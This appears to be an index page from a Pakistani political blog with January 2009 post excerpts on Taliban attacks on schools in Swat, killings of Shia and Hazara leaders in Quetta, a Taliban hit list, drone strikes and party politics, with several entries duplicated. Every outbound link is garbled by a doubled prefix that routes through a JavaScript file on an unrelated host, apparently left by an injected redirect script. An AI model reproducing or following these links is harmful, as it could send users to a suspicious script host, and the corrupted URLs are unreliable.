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Swat 26 Jan 2009 update: Yet Another school destroyed by the Taliban: Another school destroyed, woman killed in Swat shellingUpdated at: 0945 PST, Monday, January 26, 2009 (The News) SWAT: Militants in Swat blown up another school with explosives in Swat whereas a woman was killed and eight others injured when
SOS from Quetta: Systematic killing of Shia Muslims by the Taliban, Sipah-e-Sahaba: Shia leader shot dead in QuettaUpdated at: 1140 PST, Monday, January 26, 2009 QUETTA: A leader of Hazara Democratic Party (HDP) has been shot dead in Quetta on Monday. According to reports,
SOS from Quetta: Systematic killing of Hazaras / Shias by the Taliban/Sipah-e-Sahaba Terrorists.: Shia leader shot dead in Quetta Updated at: 1140 PST, Monday, January 26, 2009 QUETTA: A leader of Hazara Democratic Party (HDP) has been shot dead in Quetta on Monday. According to reports, unknown persons opened fire on HDP
Security of Nawaz Sharif and Shahbaz Sharif: (Daily Waqt) Ghost OF TK Says: Security for Sharif Brothers: 20 Inspectors, 35 Sub-Inspectors, 66 ASI’s, 85 head constables and 850 Constables That is over 1000 Police out of 30,000 police for the whole of Lahore city (population 10
What is Bhuttoism? Perspectives by some ordinary Pakistani citizens.: Ma Says: Bhutto haters cannot comprehend what does or doesn’t Bhutto mean to PPP. and they only think Bhuttos mean a race or a clan. but the fact is
What is Bhuttoism?: Ma Says: Bhutto haters cannot comprehend what does or doesn’t Bhutto mean to PPP. and they only think Bhuttos mean a race or a clan. but the fact is contrary to it. the fact is in the eyes of
SOS message from Swat, Pakistan to Mr. Richard Holbrooke: Urgent appeal to Mr. Richard Holbrooke. If you want to understand, expose and address the unholy nexus between the Taliban and the Pakistan Army (ISI), focus your attention on what is happening in Swat. It is an SOS message
SOS message from Swat, Pakistan to Mr. Richard Holbrooke: Urgent appeal to Mr. Richard Holbrooke. If you want to understand, expose and address the unholy nexus between the Taliban and the Pakistan Army (ISI), focus your attention on what is happening in Swat. It is an SOS message
As University of the Punjab opens up, violence stirs in the shape of Islami Jamiat Talaba: As Pakistan university opens up, violence stirs Assaults, threats follow efforts to limit Islamists By Kim Barker | Tribune correspondent January 25, 2009 Militant youth rise up in Pakistan
As University of the Punjab opens up, violence stirs in the shape of Islami Jamiat Talaba…. Where are Imran Khan lovers?: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/820, click this link if you are not redirected
Swat: The Taliban hit list: Taliban commander summons dignitaries in its ‘court’: The taliban hit-list 1 – Ex-federal minister Afzal Khan (ANP)2 – NWFP Minister Ayub Ashari (ANP)3 – Tahir Ashari, brother of Ayub Ashari4 – MPA Dr Haidar Ali (ANP)5 – MPA Shamsher Ali (ANP)6 – NWFP Minister Wajid Ali
Curbs on women in militancy-hit areas spreading to Quetta: Curbs on women in militancy (or Talibani Shariat) hit areas spreading to Quetta By Malik Siraj Akbar QUETTA: An increasing number of restaurants in Quetta have stopped serving women apparently after being pressured by religious elements, and
Curbs on women in militancy-hit areas spreading to Quetta: Curbs on women in militancy (or Talibani Shariat) hit areas spreading to Quetta By Malik Siraj Akbar QUETTA: An increasing number of restaurants in Quetta have stopped serving women apparently after being pressured by religious elements, and the practice
Islami Jamiat-e-Talaba goons cheat in exams: I have yet to read a statement by Qazi Hussain Ahmed and Imran Khan on the following news item/editorial: Acts of anarchy Sunday, January 25, 2009 A student, linked to the Islami Jamiat-e-Tulaba (IJT), who had been expelled from
An anlaysis of Geo TV’s “investigation” on Swat: An excellent analysis by Rabia at Grand Trunk Road Geo investigates on Swat Has anyone seen this hour-long edition of Geo Investigates on the topic of Swat? There were an enormous number of issues with this show. First of
The Shia Revival: How Conflicts within Islam Will Shape the Future – by Vali Nasr: Related articles: The Shia Crescent in the Middle East is a good news for Islam, democracy and the West The fabrication of Bahrain’s Shiite-Sunni divide – by Shirin Sadeghi Vali Nasr, Joanne J. Myers October 18, 2006 The Shia
The Shia Revival: How Conflicts within Islam Will Shape the Future: Vali Nasr, Joanne J. Myers October 18, 2006The Shia Revival Introduction JOANNE MYERS: Good morning. I’m Joanne Myers, Director of Public Affairs Programs, and on behalf of the Carnegie Council I’d like to welcome our members and guests and
‘Zardari paid Umra cost himself’ – Rauf Klasra and Abdul Qadir Hassan: ‘Zardari paid Umra cost himself’Friday, January 23, 2009 (The News) By Rauf Klasra ISLAMABAD: President Asif Ali Zardari became the first head of the state who paid Rs 24.9 million from his own pocket to the government last year
Swat: Talat Hussain asks some important questions: In his op-ed in daily Express, Talat Hussain asks several valid questions exposing the unholy nexus between the (rogue elements in?) Pakistan Army and the Taliban. Talat asks: 1. Why did not Pakistan Army eliminate/defeat terrorists/militants in its military
Swat: Talat Hussain asks some important questions: In his op-ed in daily Express, Talat Hussain asks several valid questions exposing the unholy nexus between the (rogue elements in?) Pakistan Army and the Taliban. Talat asks: 1. Why did not Pakistan Army eliminate/defeat terrorists/militants in its military
The real task before Holbrooke – by Rahimullah Yusufzai: The real task before Holbrooke Saturday, January 24, 2009 Rahimullah Yusufzai The writer is resident editor of The News in Peshawar By naming top-ranking diplomat Richard Holbrooke as the US special representative to Afghanistan and Pakistan, the administration of
Is it our war or not? and the divisions in Pakistani society?: Is it our war or not? Saturday, January 24, 2009 Majid Abdullah What does it mean when politicians argue that we have terrorism in the country because General Musharraf committed the country to the Afghan war in 2001? We
President Obama ‘orders Pakistan drone attacks’; also, why are drone attacks important?: (US Air Force/EPA) A Predator drone Tim Reid in Washington (Times Online, 23 January 2009) Missiles fired from suspected US drones killed at least 15 people inside Pakistan today, the first such strikes since Barack Obama became president and
President Obama ‘orders Pakistan drone attacks’; also, why are drone attacks important?: (US Air Force/EPA) A Predator drone Tim Reid in Washington (Times Online, 23 January 2009) Missiles fired from suspected US drones killed at least 15 people inside Pakistan today, the first such strikes since Barack Obama became president and
Swat: Afzal Khan Lala of ANP says: "I will not surrender to the Taliban terror. I will not run away.": Legend from Swat: Afzal Khan Lala Interview by Abdul Haye Kakar BBC Urdu dot com http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090122_afzal_interview_rza.shtml …. Story of Afzal Khan Lala – by Rahimullah Yusufzai http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/rahimullah-yusufzai-afzal-khan-lala-of.html …. Also read, Last Khan standing – by Sartaj Khan http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/last-khan-standing.html ….
Swat: Afzal Khan Lala of ANP says: “I will not surrender to the Taliban terror. I will not run away.”: Legend from Swat: Afzal Khan Lala Interview by Abdul Haye KakarBBC Urdu dot com http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090122_afzal_interview_rza.shtml …. Story of Afzal Khan Lala – by Rahimullah Yusufzai http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/rahimullah-yusufzai-afzal-khan-lala-of.html…. Also read, Last Khan standing – by Sartaj Khanhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/last-khan-standing.html…. For the sake of
Story of Shabana from Swat: a wedding dancer killed by the Taliban style shariat: Side-effect Shabana from Swat Friday, January 23, 2009 by Harris Khalique Shabana, the artiste from Swat who used to sing and dance to earn her living and make people merry on weddings and other such occasions, was shot in
Swat: No point in talking to the Taliban… Obama, please bomb the Taliban headquarters in FATA since the Pakistani army is unwilling to do so.: No point in talking to the Taliban Friday, January 23, 2009 by Farhat Taj Some weeks ago I was with a family in the NWFP. The family had staying with them many relatives from a Taliban-occupied tribal area. I
Pakistan ‘holds al-Qaeda members’ suspected to be involved in the 2005 London bombings….: Pakistan ‘holds al-Qaeda members’ Seven suspected militants have been arrested during a raid near Pakistan’s north-western city of Peshawar, officials say. Pakistani security officials told the BBC they suspect some of the men are members of al-Qaeda. The men
7,700 sacked govt employees to be reinstated – What do ordinary Pakistanis think?: Politics, Humanity and Yellow Journalism – By Abbas Ather
7,700 sacked govt employees to be reinstated – What do ordinary Pakistanis think?: Politics, Humanity and Yellow Journalism – By Abbas Ather A promise fulfilled ….. Also read: True story of a reinstated employee by Tahir Sarwar Mir Well done Pakistan Peoples Party, the party of the poor. 7,700 sacked govt employees
Imran Khan demands the imposition of shariat in Pakistan: Daily Express, 21 January 2009 http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.express.com.pk/epaper/PoPupwindow.aspx?newsID=1100558393&Issue=NP_LHE&Date=20090121 …. Video confession Imran Khan owns up his statement in ‘Kal Tak’ a TV program hosted by Javed Chaudhry on 21 January
Imran Khan demands the imposition of shariat in Pakistan: Daily Express, 21 January 2009 http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.express.com.pk/epaper/PoPupwindow.aspx?newsID=1100558393&Issue=NP_LHE&Date=20090121 …. Video confession Imran Khan owns up his statement in ‘Kal Tak’ a TV program hosted by Javed Chaudhry on 21 January 2009. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&video.google.com/videoplay?docid=4345829189462841860&hl=en …. An example of Taliban’s shariat http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/example-of-shariat-of-taliban.html …. Once
Swat asks many questions… By Sohail Qalandar and Tanvir Qaiser Shahid: The siege of Swat (Swat ka muhasira) Swat ka sawal… By Sohail QalandarPakistan Army is protecting the Taliban to impose their brand of sharia, destroy schools, pressurize the ANP leadership to negotiate with the Taliban on Taliban’s terms… (Express)
UN condemns Pakistan school attacks: Wed, 21 Jan 2009 08:17:04 GMT A UN special representative condemns the increasing attacks on schools in northwestern Pakistan by Taliban and other armed groups. In a statement issued in New York, Radhika Coomaraswamy, the UN secretary general’s special
Swat: Two more schools torched – update 21 January 2009: Swat is in mess. The Taliban are free to behead innocent citizens, burn schools and impose a narrow-minded version of sharia, under the protection of the Pakistan Army… Jang – update 21 Jan 2009 BBC Urdu dot com Report:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090121_swat_school_continue_fz.shtml
Kalam-e-Iqbal: Tu abhi rehGuzar main hai: Kalam-e-Iqbal Tu abhi rehGuzar main hai Poetry: Allma Muhammad Iqbal Singer: Jawad Ahmed One of the best things I heard for ages…